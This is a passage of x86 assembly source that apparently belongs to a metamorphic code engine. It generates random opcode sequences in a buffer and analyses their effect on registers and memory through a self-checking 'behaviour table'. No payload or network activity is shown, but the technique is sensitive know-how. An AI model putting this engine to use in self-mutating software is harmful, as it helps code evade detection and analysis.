  1354.         cc rP,         add,    ebp, 0x5
  1355.        cc rNoEmul,  jmp,  EndCRCCycle
  1356.        OPEaxImm32End:
  1357.  
  1358.  
  1359.  
  1360.  
  1361.        VariousReg8Imm8:             ; add | or | adc | sbb | and | sub | xor | cmp Reg8, Imm8
  1362.         cc rAPF,     cmp,     al, 5
  1363.         cc rNoEmul,  jne,     VariousReg8Imm8End
  1364.         cc rPF,      cmp,     ebp, (RandomCodeBufferSize-3)
  1365.         cc rNoEmul,  jg,      EndCRCCycle
  1366.  
  1367.         cc rBP,      mov,     ebx, 3
  1368.         cc rBCP,     xor,     ecx, ecx
  1369.         cc rNoEmul,  call,    CreateSpecialRndNumber
  1370.  
  1371.         cc rDP,      mov,     byte[RandomCode+ebp], 0x80
  1372.         cc rDPF,     cmp,     dl, 0
  1373.         cc rNoEmul,  je,      VariousReg8Imm8Cont
  1374.  
  1375.         cc rDP,      mov,     byte[RandomCode+ebp], 0x82
  1376.         cc rDPF,     cmp,     dl, 1
  1377.         cc rNoEmul,  je,      VariousReg8Imm8Cont
  1378.         cc rNoEmul,  jmp,     EndCRCCycle
  1379.  
  1380.         VariousReg8Imm8Cont:
  1381.         cc rBP,      mov,     ebx, (0xFF-0xC0)
  1382.         cc rBCP,     mov,     ecx, 0xC0
  1383.         cc rNoEmul,  call,    CreateSpecialRndNumber
  1384.         cc rP,       mov,     byte[RandomCode+ebp+1], dl
  1385.         cc rNoEmul,  call,    GetRandomNumber
  1386.         cc rDP,      mov,     dl, byte[RandomNumber]
  1387.         cc rP,       mov,     byte[RandomCode+ebp+2], dl
  1388.         cc rP,       add,     ebp, 0x3
  1389.        cc rNoEmul,  jmp,  EndCRCCycle
  1390.        VariousReg8Imm8End:
  1391.  
  1392.  
  1393.        VariousReg32Imm32:                 ; add | or | adc | sbb | and | sub | xor | cmp Reg32, Imm32
  1394.         cc rAPF,     cmp,     al, 6
  1395.         cc rNoEmul,  jne,     VariousReg32ImmEnd
  1396.  
  1397.         cc rBP,      mov,     ebx, 3
  1398.         cc rBCP,     xor,     ecx, ecx
  1399.         cc rNoEmul,  call,    CreateSpecialRndNumber
  1400.  
  1401.         cc rDPS,     mov,     esi, 6
  1402.         cc rDPS,     mov,     byte[RandomCode+ebp], 0x81
  1403.         cc rDPSF,    cmp,     dl, 0
  1404.         cc rNoEmul,  je,      VariousReg32Imm32Cont
  1405.  
  1406.         cc rDPS,     mov,     esi, 3
  1407.         cc rDPS,     mov,     byte[RandomCode+ebp], 0x83
  1408.         cc rDPSF,    cmp,     dl, 1
  1409.         cc rNoEmul,  je,      VariousReg32Imm32Cont
  1410.         cc rNoEmul,  jmp,     VariousReg32ImmEnd
  1411.  
  1412.         VariousReg32Imm32Cont:
  1413.         cc rBPS,     mov,     ebx, (0xFF-0xC0)
  1414.         cc rBCPS,    mov,     ecx, 0xC0
  1415.         cc rNoEmul,  call,    CreateSpecialRndNumber
  1416.         cc rDPS,     mov,     byte[RandomCode+ebp+1], dl
  1417.         cc rDPS,     mov,     byte[RandomCode+ebp+1], dl
  1418.         cc rDPS,     and,     dl, 111b
  1419.         cc rDPSF,    cmp,     dl, 100b
  1420.         cc rNoEmul,  je,      EndCRCCycle            ; OP esp, ...
  1421.         cc rNoEmul,  call,    GetRandomNumber
  1422.         cc rDPS,     mov,     edx, dword[RandomNumber]
  1423.         cc rPS,      mov,     dword[RandomCode+ebp+2], edx
  1424.         cc rCPS,     mov,     ecx, RandomCodeBufferSize
  1425.         cc rCPS,     sub,     ecx, esi
  1426.         cc rDPSF,    cmp,     ebp, ecx
  1427.         cc rNoEmul,  jg,      EndCRCCycle
  1428.         cc rP,       add,     ebp, esi
  1429.        cc rNoEmul, jmp,  EndCRCCycle
  1430.        VariousReg32ImmEnd:
  1431.  
  1432.  
  1433.  
  1434.  
  1435.        OPMem8Reg8:                ; OP Mem8, Reg8  | OP Reg8, Mem8
  1436.         cc rAPF,     cmp,     al, 7
  1437.         cc rNoEmul,  jne,     OPMem8Reg8End
  1438.  
  1439.         cc rBP,      mov,     ebx, 19
  1440.         cc rBCP,     xor,     ecx, ecx
  1441.         cc rNoEmul,  call,    CreateSpecialRndNumber
  1442.  
  1443.         cc rDP,      mov,     byte[RandomCode+ebp], 0x00   ; add Mem8, Reg8
  1444.         cc rDPF,     cmp,     dl, 0
  1445.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1446.  
  1447.         cc rDP,      mov,     byte[RandomCode+ebp], 0x02   ; add Reg8, Mem8
  1448.         cc rBCPF,    cmp,     dl, 1
  1449.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1450.  
  1451.         cc rDP,      mov,     byte[RandomCode+ebp], 0x08   ; or Mem8, Reg8
  1452.         cc rBCPF,    cmp,     dl, 2
  1453.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1454.  
  1455.         cc rDP,      mov,     byte[RandomCode+ebp], 0x0A   ; or Reg8, Mem8
  1456.         cc rBCPF,    cmp,     dl, 3
  1457.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1458.  
  1459.         cc rDP,      mov,     byte[RandomCode+ebp], 0x10   ; adc Mem8, Reg8
  1460.         cc rBCPF,    cmp,     dl, 4
  1461.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1462.  
  1463.         cc rDP,      mov,     byte[RandomCode+ebp], 0x12   ; adc Reg8, Mem8
  1464.         cc rBCPF,    cmp,     dl, 5
  1465.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1466.  
  1467.         cc rDP,      mov,     byte[RandomCode+ebp], 0x18   ; sbb Mem8, Reg8
  1468.         cc rBCPF,    cmp,     dl, 6
  1469.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1470.  
  1471.         cc rDP,      mov,     byte[RandomCode+ebp], 0x1A   ; sbb Reg8, Mem8
  1472.         cc rBCPF,    cmp,     dl, 7
  1473.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1474.  
  1475.         cc rDP,      mov,     byte[RandomCode+ebp], 0x20   ; and Mem8, Reg8
  1476.         cc rBCPF,    cmp,     dl, 8
  1477.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1478.  
  1479.         cc rDP,      mov,     byte[RandomCode+ebp], 0x22   ; and Reg8, Mem8
  1480.         cc rBCPF,    cmp,     dl, 9
  1481.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1482.  
  1483.         cc rDP,      mov,     byte[RandomCode+ebp], 0x28   ; sub Mem8, Reg8
  1484.         cc rBCPF,    cmp,     dl, 10
  1485.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1486.  
  1487.         cc rDP,      mov,     byte[RandomCode+ebp], 0x2A   ; sub Reg8, Mem8
  1488.         cc rBCPF,    cmp,     dl, 11
  1489.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1490.  
  1491.         cc rDP,      mov,     byte[RandomCode+ebp], 0x30   ; xor Mem8, Reg8
  1492.         cc rBCPF,    cmp,     dl, 12
  1493.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1494.  
  1495.         cc rDP,      mov,     byte[RandomCode+ebp], 0x32   ; xor Reg8, Mem8
  1496.         cc rBCPF,    cmp,     dl, 13
  1497.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1498.  
  1499.         cc rDP,      mov,     byte[RandomCode+ebp], 0x38   ; cmp, Mem8, Reg8
  1500.         cc rBCPF,    cmp,     dl, 14
  1501.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1502.  
  1503.         cc rDP,      mov,     byte[RandomCode+ebp], 0x3A   ; cmp, Reg8, Mem8
  1504.         cc rBCPF,    cmp,     dl, 15
  1505.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1506.  
  1507.         cc rDP,      mov,     byte[RandomCode+ebp], 0x86   ; xchg Mem8, Reg8
  1508.         cc rBCPF,    cmp,     dl, 16
  1509.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1510.  
  1511.         cc rDP,      mov,     byte[RandomCode+ebp], 0x88   ; mov Mem8, Reg8
  1512.         cc rBCPF,    cmp,     dl, 17
  1513.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1514.  
  1515.         cc rDP,      mov,     byte[RandomCode+ebp], 0x8A   ; mov Reg8, Mem8
  1516.         cc rBCPF,    cmp,     dl, 18
  1517.         cc rNoEmul,  je,      OPMem8Reg8Cont
  1518.  
  1519.         cc rNoEmul,  jmp,     EndCRCCycle
  1520.  
  1521.          OPMem8Reg8Cont:
  1522.         cc rBP,      mov,     ebx, 0xBF
  1523.         cc rBCP,     mov,     ecx, 0x0
  1524.         cc rNoEmul,  call,    CreateSpecialRndNumber
  1525.         cc rP,       mov,     byte[RandomCode+ebp+1], dl
  1526.  
  1527.         cc rNoEmul,  call,    GetRandomNumber
  1528.  
  1529.         cc rDP,      and,     dl, 11000111b
  1530.         cc rDPF,     cmp,     dl, 00000100b
  1531.         cc rNoEmul,  je,      OPMem8Reg8_3byte
  1532.         cc rDPF,     cmp,     dl, 00000101b
  1533.         cc rNoEmul,  je,      OPMem8Reg8_6byte
  1534.         cc rDPF,     cmp,     dl, 0x40
  1535.         cc rNoEmul,  jb,      OPMem8Reg8_2byte
  1536.         cc rDPF,     cmp,     dl, 01000100b
  1537.         cc rNoEmul,  je,      OPMem8Reg8_4byte
  1538.         cc rDPF,     cmp,     dl, 0x80
  1539.         cc rNoEmul,  jb,      OPMem8Reg8_3byte
  1540.         cc rDPF,     cmp,     dl, 10000100b
  1541.         cc rNoEmul,  je,      OPMem8Reg8_7byte
  1542.         cc rNoEmul,  jmp,     OPMem8Reg8_6byte
  1543.  
  1544.          OPMem8Reg8_3byte:
  1545.         cc rPF,      cmp,     ebp, (RandomCodeBufferSize-3)
  1546.         cc rNoEmul,  jg,      EndCRCCycle
  1547.         cc rDP,      mov,     edx, dword[RandomNumber]
  1548.         cc rP,       mov,     byte[RandomCode+ebp+2], dl
  1549.         cc rP,       add,     ebp, 0x1
  1550.         cc rNoEmul,  jmp,     EndOPMem8Reg8
  1551.  
  1552.          OPMem8Reg8_4byte:
  1553.         cc rPF,      cmp,     ebp, (RandomCodeBufferSize-4)
  1554.         cc rNoEmul,  jg,      EndCRCCycle
  1555.         cc rDP,      mov,     edx, dword[RandomNumber]
  1556.         cc rP,       mov,     word[RandomCode+ebp+2], dx
  1557.         cc rP,       add,     ebp, 0x2
  1558.         cc rNoEmul,  jmp,     EndOPMem8Reg8
  1559.  
  1560.          OPMem8Reg8_6byte:
  1561.         cc rPF,      cmp,     ebp, (RandomCodeBufferSize-6)
  1562.         cc rNoEmul,  jg,      EndCRCCycle
  1563.         cc rDP,      mov,     edx, dword[RandomNumber]
  1564.         cc rP,       mov,     dword[RandomCode+ebp+2], edx
  1565.         cc rP,       add,     ebp, 0x4
  1566.         cc rNoEmul,  jmp,     EndOPMem8Reg8
  1567.  
  1568.          OPMem8Reg8_7byte:
  1569.         cc rPF,      cmp,     ebp, (RandomCodeBufferSize-7)
  1570.         cc rNoEmul,  jg,      EndCRCCycle
  1571.         cc rDP,      mov,     edx, dword[RandomNumber]
  1572.         cc rP,       mov,     dword[RandomCode+ebp+2], edx
  1573.         cc rNoEmul,  call,    GetRandomNumber
  1574.         cc rDP,      mov,     dl, byte[RandomNumber]
  1575.         cc rP,       mov,     byte[RandomCode+ebp+6], dl
  1576.         cc rP,       add,     ebp, 0x5
  1577.         cc rNoEmul,  jmp,     EndOPMem8Reg8
  1578.  
  1579.          OPMem8Reg8_2byte:
  1580.          EndOPMem8Reg8:
  1581.         cc rP,       add,     ebp, 0x2
  1582.        cc rNoEmul,  jmp,  EndCRCCycle
  1583.        OPMem8Reg8End:
  1584.  
  1585.  
  1586.        OPMem32Reg32:            ; OP Mem32, Reg32  | OP Reg32, Mem32
  1587.         cc rAPF,     cmp,     al, 8
  1588.         cc rNoEmul,  jne,     OPMem32Reg32End
  1589.  
  1590.         cc rBP,      mov,     ebx, 19
  1591.         cc rBCP,     xor,     ecx, ecx
  1592.         cc rNoEmul,  call,    CreateSpecialRndNumber
  1593.  
  1594.         cc rDP,      mov,     byte[RandomCode+ebp], 0x01   ; add Mem32, Reg32
  1595.         cc rDPF,     cmp,     dl, 0
  1596.         cc rNoEmul,  je,      OPMem32Reg32Cont
  1597.  
  1598.         cc rDP,      mov,     byte[RandomCode+ebp], 0x03   ; add Reg32, Mem32
  1599.         cc rDPF,     cmp,     dl, 1
  1600.         cc rNoEmul,  je,      OPMem32Reg32ESPCheck
  1601.  
  1602.         cc rDP,      mov,     byte[RandomCode+ebp], 0x09   ; or Mem32, Reg32
  1603.         cc rDPF,     cmp,     dl, 2
  1604.         cc rNoEmul,  je,      OPMem32Reg32Cont
  1605.  
  1606.         cc rDP,      mov,     byte[RandomCode+ebp], 0x0B   ; or Reg32, Mem32
  1607.         cc rDPF,     cmp,     dl, 3
  1608.         cc rNoEmul,  je,      OPMem32Reg32ESPCheck
  1609.  
  1610.         cc rDP,      mov,     byte[RandomCode+ebp], 0x11   ; adc Mem32, Reg32
  1611.         cc rDPF,     cmp,     dl, 4
  1612.         cc rNoEmul,  je,      OPMem32Reg32Cont
  1613.  
  1614.         cc rDP,      mov,     byte[RandomCode+ebp], 0x13   ; adc Reg32, Mem32
  1615.         cc rDPF,     cmp,     dl, 5
  1616.         cc rNoEmul,  je,      OPMem32Reg32ESPCheck
  1617.  
  1618.         cc rDP,      mov,     byte[RandomCode+ebp], 0x19   ; sbb Mem32, Reg32
  1619.         cc rDPF,     cmp,     dl, 6
  1620.         cc rNoEmul,  je,      OPMem32Reg32Cont
  1621.  
  1622.         cc rDP,      mov,     byte[RandomCode+ebp], 0x1B   ; sbb Reg32, Mem32
  1623.         cc rDPF,     cmp,     dl, 7
  1624.         cc rNoEmul,  je,      OPMem32Reg32ESPCheck
  1625.  
  1626.         cc rDP,      mov,     byte[RandomCode+ebp], 0x21   ; and Mem32, Reg32
  1627.         cc rDPF,     cmp,     dl, 8
  1628.         cc rNoEmul,  je,      OPMem32Reg32Cont
  1629.  
  1630.         cc rDP,      mov,     byte[RandomCode+ebp], 0x23   ; and Reg32, Mem32
  1631.         cc rDPF,     cmp,     dl, 9
  1632.         cc rNoEmul,  je,      OPMem32Reg32ESPCheck
  1633.  
  1634.         cc rDP,      mov,     byte[RandomCode+ebp], 0x29   ; sub Mem32, Reg32
  1635.         cc rDPF,     cmp,     dl, 10
  1636.         cc rNoEmul,  je,      OPMem32Reg32Cont
  1637.  
  1638.         cc rDP,      mov,     byte[RandomCode+ebp], 0x2B   ; sub Reg32, Mem32
  1639.         cc rDPF,     cmp,     dl, 11
  1640.         cc rNoEmul,  je,      OPMem32Reg32ESPCheck
  1641.  
  1642.         cc rDP,      mov,     byte[RandomCode+ebp], 0x31   ; xor Mem32, Reg32
  1643.         cc rDPF,     cmp,     dl, 12
  1644.         cc rNoEmul,  je,      OPMem32Reg32Cont
  1645.  
  1646.         cc rDP,      mov,     byte[RandomCode+ebp], 0x33   ; xor Reg32, Mem32
  1647.         cc rDPF,     cmp,     dl, 13
  1648.         cc rNoEmul,  je,      OPMem32Reg32ESPCheck
  1649.  
  1650.         cc rDP,      mov,     byte[RandomCode+ebp], 0x39   ; cmp, Mem32, Reg32
  1651.         cc rDPF,     cmp,     dl, 14
  1652.         cc rNoEmul,  je,      OPMem32Reg32Cont
  1653.  
  1654.         cc rDP,      mov,     byte[RandomCode+ebp], 0x3A   ; cmp, Reg32, Mem32
  1655.         cc rDPF,     cmp,     dl, 15
  1656.         cc rNoEmul,  je,      OPMem32Reg32ESPCheck
  1657.  
  1658.         cc rDP,      mov,     byte[RandomCode+ebp], 0x87   ; xchg Mem32, Reg32
  1659.         cc rDPF,     cmp,     dl, 16
  1660.         cc rNoEmul,  je,      OPMem32Reg32ESPCheck
  1661.  
  1662.         cc rDP,      mov,     byte[RandomCode+ebp], 0x89   ; mov, Mem32, Reg32
  1663.         cc rDPF,     cmp,     dl, 17
  1664.         cc rNoEmul,  je,      OPMem32Reg32Cont
  1665.  
  1666.         cc rDP,      mov,     byte[RandomCode+ebp], 0x8B   ; mov Reg32, Mem32
  1667.         cc rDPF,     cmp,     dl, 18
  1668.         cc rNoEmul,  je,      OPMem32Reg32ESPCheck
  1669.  
  1670.         cc rNoEmul,  jmp,     EndCRCCycle
  1671.  
  1672.          OPMem32Reg32ESPCheck:
  1673.         cc rBDP,     mov,     ebx, 0xBF
  1674.         cc rBCDP,    mov,     ecx, 0x0
  1675.         cc rNoEmul,  call,    CreateSpecialRndNumber
  1676.         cc rDP,      mov,     byte[RandomCode+ebp+1], dl
  1677.  
  1678.         cc rDP,      mov,     dh, dl
  1679.  
  1680.         cc rDP,      and,     dh, 111000b
  1681.         cc rDPF,     cmp,     dh, 100000b
  1682.         cc rNoEmul,  je,      EndCRCCycle            ; OP esp, ... but source and destination reversed
  1683.         cc rNoEmul,  jmp,     OPMem32Reg32ESPCheckOK
  1684.  
  1685.          OPMem32Reg32Cont:
  1686.         cc rBDP,     mov,     ebx, 0xBF
  1687.         cc rBCDP,    mov,     ecx, 0x0
  1688.         cc rNoEmul,  call,    CreateSpecialRndNumber
  1689.         cc rDP,      mov,     byte[RandomCode+ebp+1], dl
  1690.  
  1691.         OPMem32Reg32ESPCheckOK:
  1692.         cc rNoEmul,  call,    GetRandomNumber
  1693.  
  1694.         cc rDP,      and,     dl, 11000111b
  1695.         cc rDPF,     cmp,     dl, 00000100b
  1696.         cc rNoEmul,  je,      OPMem32Reg32_3byte
  1697.         cc rDPF,     cmp,     dl, 00000101b
  1698.         cc rNoEmul,  je,      OPMem32Reg32_6byte
  1699.         cc rDPF,     cmp,     dl, 0x40
  1700.         cc rNoEmul,  jb,      OPMem32Reg32_2byte
  1701.         cc rDPF,     cmp,     dl, 01000100b
  1702.         cc rNoEmul,  je,      OPMem32Reg32_4byte
  1703.         cc rDPF,     cmp,     dl, 0x80
  1704.         cc rNoEmul,  jb,      OPMem32Reg32_3byte
  1705.         cc rDPF,     cmp,     dl, 10000100b
  1706.         cc rNoEmul,  je,      OPMem32Reg32_7byte
  1707.         cc rNoEmul,  jmp,     OPMem32Reg32_6byte
  1708.  
  1709.          OPMem32Reg32_3byte:
  1710.         cc rDPF,     cmp,     ebp, (RandomCodeBufferSize-3)
  1711.         cc rNoEmul,  jg,      EndCRCCycle
  1712.         cc rDP,      mov,     edx, dword[RandomNumber]
  1713.         cc rP,       mov,     byte[RandomCode+ebp+2], dl
  1714.         cc rP,       add,     ebp, 0x1
  1715.         cc rNoEmul,  jmp,     EndOPMem32Reg32
  1716.  
  1717.          OPMem32Reg32_4byte:
  1718.         cc rDPF,     cmp,     ebp, (RandomCodeBufferSize-4)
  1719.         cc rNoEmul,  jg,      EndCRCCycle
  1720.         cc rDP,      mov,     edx, dword[RandomNumber]
  1721.         cc rP,       mov,     word[RandomCode+ebp+2], dx
  1722.         cc rP,       add,     ebp, 0x2
  1723.         cc rNoEmul,  jmp,     EndOPMem32Reg32
  1724.  
  1725.          OPMem32Reg32_6byte:
  1726.         cc rDPF,     cmp,     ebp, (RandomCodeBufferSize-6)
  1727.         cc rNoEmul,  jg,      EndCRCCycle
  1728.         cc rDP,      mov,     edx, dword[RandomNumber]
  1729.         cc rP,       mov,     dword[RandomCode+ebp+2], edx
  1730.         cc rP,       add,     ebp, 0x4
  1731.         cc rNoEmul,  jmp,     EndOPMem32Reg32
  1732.  
  1733.          OPMem32Reg32_7byte:
  1734.         cc rDPF,     cmp,     ebp, (RandomCodeBufferSize-7)
  1735.         cc rNoEmul,  jg,      EndCRCCycle
  1736.         cc rDP,      mov,     edx, dword[RandomNumber]
  1737.         cc rP,       mov,     dword[RandomCode+ebp+2], edx
  1738.         cc rNoEmul,  call,    GetRandomNumber
  1739.         cc rDP,      mov,     dl, byte[RandomNumber]
  1740.         cc rP,       mov,     byte[RandomCode+ebp+6], dl
  1741.         cc rP,       add,     ebp, 0x5
  1742.         cc rNoEmul,  jmp,     EndOPMem32Reg32
  1743.  
  1744.          OPMem32Reg32_2byte:
  1745.          EndOPMem32Reg32:
  1746.         cc rP,       add,     ebp, 0x2
  1747.        cc rNoEmul,  jmp,  EndCRCCycle
  1748.        OPMem32Reg32End:
  1749.  
  1750.  
  1751.        PushPopReg32:
  1752.         cc rAPF,     cmp,     al, 9
  1753.         cc rNoEmul,  jne,     PushPopReg32End
  1754.  
  1755.         cc rBP,      mov,     ebx, 0x10
  1756.         cc rBCP,     xor,     ecx, ecx
  1757.         cc rNoEmul,  call,    CreateSpecialRndNumber
  1758.  
  1759.         cc rBDF,     cmp,     dl, 0x0C            ; 0x5C=pop esp
  1760.         cc rNoEmul,  jne,     PushPopReg32FinAdd
  1761.         PushPopReg32Xor:
  1762.         cc rDP,      xor,     dl, dl              ; 0x50=push eax
  1763.         PushPopReg32FinAdd:
  1764.         cc rCDP,     mov,     cl, byte[CGPushPop]
  1765.  
  1766.         cc rCDPF,    cmp,     dl, 8
  1767.         cc rNoEmul,  jb,      PushPop32GotPush
  1768.         cc rCDP,     dec,     cl
  1769.         cc rNoEmul,  jmp,     PushPop32GotPopAlreadys
  1770.         PushPop32GotPush:
  1771.         cc rCDPF,    cmp,     cl, 0
  1772.         cc rNoEmul,  js,      PushPop32GotPopAlreadys
  1773.         cc rCDP,     inc,     cl
  1774.         PushPop32GotPopAlreadys:
  1775.         cc rCDP,     mov,      byte[CGPushPop], cl
  1776.         cc rDP,      add,     dl, 0x50
  1777.         cc rP,       mov,     byte[RandomCode+ebp], dl
  1778.         cc rP,       add,     ebp, 0x1
  1779.        cc rNoEmul,  jmp,  EndCRCCycle
  1780.        PushPopReg32End:
  1781.  
  1782.  
  1783.        PushImm321:
  1784.         cc rAPF,     cmp,     al, 10
  1785.         cc rNoEmul,  jne,     PushImm321End
  1786.         cc rPF,      cmp,     ebp, (RandomCodeBufferSize-5)
  1787.         cc rNoEmul,  jg,      EndCRCCycle
  1788.  
  1789.         cc rDP,      mov,     dl, 0x68
  1790.         cc rP,       mov,     byte[RandomCode+ebp], dl
  1791.  
  1792.         cc rNoEmul,  call,    GetRandomNumber
  1793.         cc rP,       mov,     dword[RandomCode+ebp+1], edx
  1794.         cc rP,       add,     ebp, 0x5
  1795.        cc rNoEmul,  jmp,  EndCRCCycle
  1796.        PushImm321End:
  1797.  
  1798.        PushImm322:
  1799.         cc rAPF,     cmp,     al, 11
  1800.         cc rNoEmul,  jne,     PushImm322End
  1801.         cc rPF,      cmp,     ebp, (RandomCodeBufferSize-2)
  1802.         cc rNoEmul,  jg,      EndCRCCycle
  1803.  
  1804.         cc rDP,      mov,     dl, 0x6A
  1805.         cc rP,       mov,     byte[RandomCode+ebp], dl
  1806.  
  1807.         cc rNoEmul,  call,    GetRandomNumber
  1808.         cc rP,       mov,     byte[RandomCode+ebp+1], dl
  1809.         cc rP,       add,     ebp, 0x2
  1810.        cc rNoEmul,  jmp,  EndCRCCycle
  1811.        PushImm322End:
  1812.  
  1813.  
  1814.        IncDec32:
  1815.         cc rAPF,     cmp,     al, 12
  1816.         cc rNoEmul,  jne,     IncDec32End
  1817.  
  1818.         cc rBP,      mov,     ebx, 0x10
  1819.         cc rBCP,     xor,     ecx, ecx
  1820.         cc rNoEmul,  call,    CreateSpecialRndNumber
  1821.  
  1822.         cc rDP,      add,     dl, 0x40
  1823.         cc rP,       mov,     byte[RandomCode+ebp], dl
  1824.         cc rP,       add,     ebp, 0x1
  1825.        cc rNoEmul,  jmp,  EndCRCCycle
  1826.        IncDec32End:
  1827.  
  1828.  
  1829.        EndCRCCycle:
  1830.  
  1831.         cc rPF,      cmp,     ebp, RandomCodeBufferSize
  1832.     cc rNoEmul,  jb, CreateMoreRandomCode
  1833.         cc rA,       mov,     eax, 0x90909090
  1834.         cc rA,       mov,     dword[RC_Padding], eax
  1835.         cc rNoRes,   mov,     dword[RC_Padding+4], eax
  1836.  
  1837. cc rNoEmul,  ret
  1838.  
  1839.  
  1840. ; #####
  1841. ; #####   Random Code Generator
  1842. ; #####
  1843. ; ###########################################################################
  1844. ; ###########################################################################
  1845.  
  1846.  
  1847.  
  1848. ; ###########################################################################
  1849. ; ###########################################################################
  1850. ; #####
  1851. ; #####   Creator of Behaviour Table of own Code
  1852. ; #####
  1853.  
  1854.  
  1855. CreateRandomRegisters:
  1856.     cc rS,       xor,     esi, esi
  1857.  
  1858.     CreateRandomRegistersMore:
  1859.         cc rBS,      mov,     ebx, (DataEnd-DataStart)+1
  1860.         cc rBCS,     xor,     ecx, ecx
  1861.         cc rNoEmul,  call,    CreateSpecialRndNumber
  1862.         cc rDS,      mov,     dword[rEAX+esi], edx
  1863.  
  1864.         cc rS,      add,     esi, 4
  1865.         cc rSF,     cmp,     esi, 7*4
  1866.     cc rNoEmul,  jb,      CreateRandomRegistersMore
  1867.  
  1868.     cc rB,       mov,     ebx, 8
  1869.     cc rBC,      xor,     ecx, ecx
  1870.     cc rNoEmul,  call,    CreateSpecialRndNumber
  1871.  
  1872.     cc rA,      mov,     eax, DataStart
  1873.     cc rNoRes,  add,     dword[rEAX+edx*4], eax
  1874.  
  1875.         cc rA,       mov,     eax, dword[rEAX+0x00]
  1876.         cc rAB,      mov,     ebx, dword[rEAX+0x04]
  1877.         cc rABC,     mov,     ecx, dword[rEAX+0x08]
  1878.         cc rABCD,    mov,     edx, dword[rEAX+0x0C]
  1879.         cc rABCDP,   mov,     ebp, dword[rEAX+0x10]
  1880.         cc rABCDPS,  mov,     esi, dword[rEAX+0x14]
  1881.         cc rABCDPSI, mov,     edi, dword[rEAX+0x18]
  1882.  
  1883. cc rNoEmul,  ret
  1884.  
  1885.  
  1886.  
  1887.  
  1888. PrepareRegistersAndTable:
  1889. ; In: at dword[tmpAddress]
  1890. ; Address of BehaviourTable
  1891.  
  1892.         cc rA,       mov,     eax, dword[tmpAddress]
  1893.  
  1894.         ; initial values are primes between 0x0FFF FFFF - 0xFFFF FFFF
  1895.         ; except ESP, which is not changed
  1896.  
  1897.         cc rAB,      mov,     ebx, dword[rEAX+0x04]
  1898.         cc rAB,      mov,     dword[eax+0x04], ebx
  1899.         cc rABC,     mov,     ecx, dword[rEAX+0x08]
  1900.         cc rABC,     mov,     dword[eax+0x08], ecx
  1901.         cc rABCD,    mov,     edx, dword[rEAX+0x0C]
  1902.         cc rABCD,    mov,     dword[eax+0x0C], edx
  1903.         cc rABCDP,   mov,     ebp, dword[rEAX+0x10]
  1904.         cc rABCDP,   mov,     dword[eax+0x10], ebp
  1905.         cc rABCDPS,  mov,     esi, dword[rEAX+0x14]
  1906.         cc rABCDPS,  mov,     dword[eax+0x14], esi
  1907.         cc rABCDPSI, mov,     edi, dword[rEAX+0x18]
  1908.         cc rABCDPSI, mov,     dword[eax+0x18], edi
  1909.  
  1910.         cc rABCDPSI, push,    ebx
  1911.             cc rNoEmul,  pushfd
  1912.             cc rABCDPSI, pop,     ebx
  1913.             cc rABCDPSI, and,     bl, 10b         ; FLAGS - all zero except the reserved-1 one
  1914.             cc rABCDPSI, push,    ebx
  1915.             cc rNoEmul,  popfd           ; save FLAGS
  1916.             cc rABCDPSI, mov,     dword[eax+0x1C], ebx
  1917.         cc rABCDPSI, pop,     ebx
  1918.  
  1919.         cc rABCDPSI, mov,     dword[eax+0x20], esp
  1920.  
  1921.         cc rABCDPSI, push,    ebx
  1922.         cc rABCDPSI, mov,     ebx, dword[rEAX+0x00]
  1923.         cc rABCDPSI, mov,     dword[eax+0x00], ebx
  1924.         cc rABCDPSI, mov,     eax, ebx
  1925.         cc rABCDPSI, pop,     ebx
  1926.  
  1927. cc rNoEmul,  ret
  1928.  
  1929.  
  1930. AnalyseBehaviourOfCode:
  1931. ; In: at dword[tmpAddress]
  1932. ; Address of BehaviourTable
  1933.  
  1934.       cc rABCDPSIF, push,  ebx
  1935.       cc rABCDPSIF, mov,   ebx, eax
  1936.       cc rNoEmul,   pushfd
  1937.  
  1938.       cc rABCDPSI,  mov,   eax, dword[hDataMirror]
  1939.       cc rABCDPSIF, cmp,   eax, dword[hDataMirror1]
  1940.       cc rNoEmul,   je,    AnalyseBehaviourOfCodeGoodDataMirror
  1941.         cc rAC,     xor,     eax, eax        ; This value can not be restored, as otherwise the
  1942.                              ; behaviour table gets wrong entries. So just make an
  1943.                              ; exception and run next random code.
  1944.         cc rNoRes,  mov,     byte[eax], cl
  1945.       AnalyseBehaviourOfCodeGoodDataMirror:
  1946.  
  1947.       cc rABCDPSI,  mov,   eax, dword[hTempAlloc1]
  1948.       cc rABCDPSIF, cmp,   eax, dword[hTempAlloc1]
  1949.       cc rNoEmul,   je,    AnalyseBehaviourOfCodeGoodVirtualAlloc
  1950.         cc rAC,     xor,     eax, eax            ; This value can not be restored, too
  1951.         cc rNoRes,  mov,     byte[eax], cl
  1952.       AnalyseBehaviourOfCodeGoodVirtualAlloc:
  1953.  
  1954.       cc rABCDPSI,  mov,   eax, dword[hRandomizedData]
  1955.       cc rABCDPSIF, cmp,   eax, dword[hRandomizedData1]
  1956.       cc rNoEmul,   je,    AnalyseBehaviourOfCodeGoodRandomizedData
  1957.         cc rAC,     xor,     eax, eax            ; This value can not be restored, too
  1958.         cc rNoRes,  mov,     byte[eax], cl
  1959.       AnalyseBehaviourOfCodeGoodRandomizedData:
  1960.  
  1961.       cc rABCDPSI, mov,   eax, dword[tmpAddress] ; The random code could have changed
  1962.                              ; the dword[tmpAddress], so to make sure
  1963.                              ; that the address is right, we can compare
  1964.                              ; with two other places where the same value
  1965.                              ; should be. Noisy channel + self-repair :)
  1966.       cc rABCDPSIF, cmp,   eax, dword[tmpAddress1]
  1967.       cc rNoEmul,   je,    AnalyseBehaviourOfCodeGoodAddress
  1968.         cc rABCDPSI, mov,     eax, dword[tmpAddress2]
